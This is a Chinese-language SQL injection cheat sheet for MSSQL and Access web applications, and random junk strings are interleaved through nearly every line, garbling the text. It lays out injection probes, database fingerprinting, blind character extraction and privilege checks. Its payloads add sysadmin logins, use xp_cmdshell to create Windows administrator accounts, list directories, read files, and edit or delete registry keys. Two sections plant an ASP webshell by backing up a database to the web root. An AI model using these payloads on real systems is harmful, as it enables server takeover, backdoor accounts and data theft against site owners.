1.判断是否有注入;and 1=1 ;and 1=2 6A9
r{'1
2.初步判断是否是mssql ;and user>0 kI|7o>}<
/l&$B
3.注入参数是字符'and [查询条件] and ''=' nqMXE82
&K.js
4.搜索时没过滤参数的'and [查询条件] and '%25'=' .ZK^kcyA
g`9`/
5.判断数据库系统 /_l$h_{DH
}a?( }{z-
;and (select count(*) from sysobjects)>0 mssql %ot4$eY
}s++^uX6
;and (select count(*) from msysobjects)>0 access ZGZ1Q/WH
v%$c_'d
_(%;O:i
I->BDNk
6.猜数据库 ;and (select Count(*) from [数据库名])>0 )~[rb<:)b
,\Uc/wR
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 B9h'}460H
;xxu ,
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !/RL.`!>
J,Rp&tavt:
9.(1)猜字段的ascii值(access) @D@_PA)e(
0wnC"2GUX
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i_<GSUTTr/
'74*-yd
(2)猜字段的ascii值(mssql) =Hf`yH\#
~lH_d[
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5|_El/G
'?)<e^
10.测试权限结构(mssql) *aaK_=w
F*TkQ\y
m[8?d~
ZXH{9hxd
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
Xn=
G{]tB w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YE;Tpji
u%b.#!
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |kK_B
:K
$*q^7ME
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;%B:1Z
C2(VYw
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- X]+z:!
n}L
Jt
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+
C'<*
Q|7l!YTzVu
;and 1=(select IS_MEMBER('db_owner'));--
4"~F
w
21g&
@5tGI U;1
_>RTefL5
11.添加mssql和系统的帐户 6x iCTs0@
G3${\'<
;exec master.dbo.sp_addlogin username;-- [5i}C
K_=
;exec master.dbo.sp_password null,username,password;-- kO/]mNLG
xua
E\*m
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'y%*W:O
V)jF]u~g
;exec master.dbo.xp_cmdshell 'net user username password w42=tN+B
2F#DJN#
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ,~*pPhQ8m
-=4{X
R3
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1w} DfI
WY$c^av<
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [Z2mH
`G "&IQ8.
TxP8&!d
1<F6{?,z
12.(1)遍历目录 H6Q!~o\"H
_fjHa6S
;create table dirs(paths varchar(100), id int) ^SWV!rrg
K;lxPM]
;insert dirs exec master.dbo.xp_dirtree 'c:\' RYZM_@5$t
XCj8QM.o
;and (select top 1 paths from dirs)>0 >)6k)$x%%
JmF:8Q3H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) q!y!=hI
-9;XNp
@_H
L{q%h
=4#p|OZP
(2)遍历目录 9s&dN
ZmAo9>'Kg
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- vVf%wei^#
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 o?/fObV@(
B3Da w/G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /3j3'~0
E_-g<Cw
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,'%*z
5%]O'h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 JQDS3v=1$
TEQs9-Uy
-\~HAnh
_18Aek
13.mssql中的存储过程 ,:xses*7
gB])@O%/
xp_regenumvalues 注册表根键, 子键 hH_\C.bL
<lP5}F87
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0?*":o30
t#2szr+
xp_regread 根键,子键,键值名 l*b0uF
+6s6QeNS8
;exec xp_regread F7\nG}#s
#D^(dz*
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 (97&mhs3
9#1Jie$
xp_regwrite 根键,子键, 值名, 值类型, 值 SI/3Dz[
,U.|+i{
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 glZjo
KJW^pAj$B
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 FDTC?Ii O
<;hy-Q()D
xp_regdeletevalue 根键,子键,值名 (r/))I9^
GpXU&A'r
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 K~A@>~vFb
/2Bf6
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q+p9^_r
$fwj8S7$
Q&vU|y
9>ML;$T&
14.mssql的backup创建webshell m6o o-muAr
X4/3vY
use model 3 +8{Y
qv8B$}F U
create table cmd(str image); {CQI*\O
}i52MI1-XP
insert into cmd(str) values (''); :8Ugz ~i
JnS@}m
backup database model to disk='c:\l.asp'; p*|Ct
M<ba+Qn$
*/j[n$K>~`
95*=&d
15.mssql内置函数 i}~U/.P
9n;6;K#
;and (select @@version)>0 获得Windows的版本号 `t2Y IwOK
K%YR; )5A
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \;0UP+
|fPR7-
;and (select user_name())>0 爆当前系统的连接用户 J'*`K>wV
Mc6v
;and (select db_name())>0 得到当前连接的数据库 _FzAf5DO
_@O.EksY3r
EO"G(v
oA4<AJ2
16.简洁的webshell *_eY +\j
lz(}N7SLa
use model gCaxZ~o
(
\7Yo^
create table cmd(str image); -fD W>]_
c> ":g~w
insert into cmd(str) values (''); )pw53,7>aN
+[Q`I*C
backup database model to disk='g:\wwwtest\l.asp';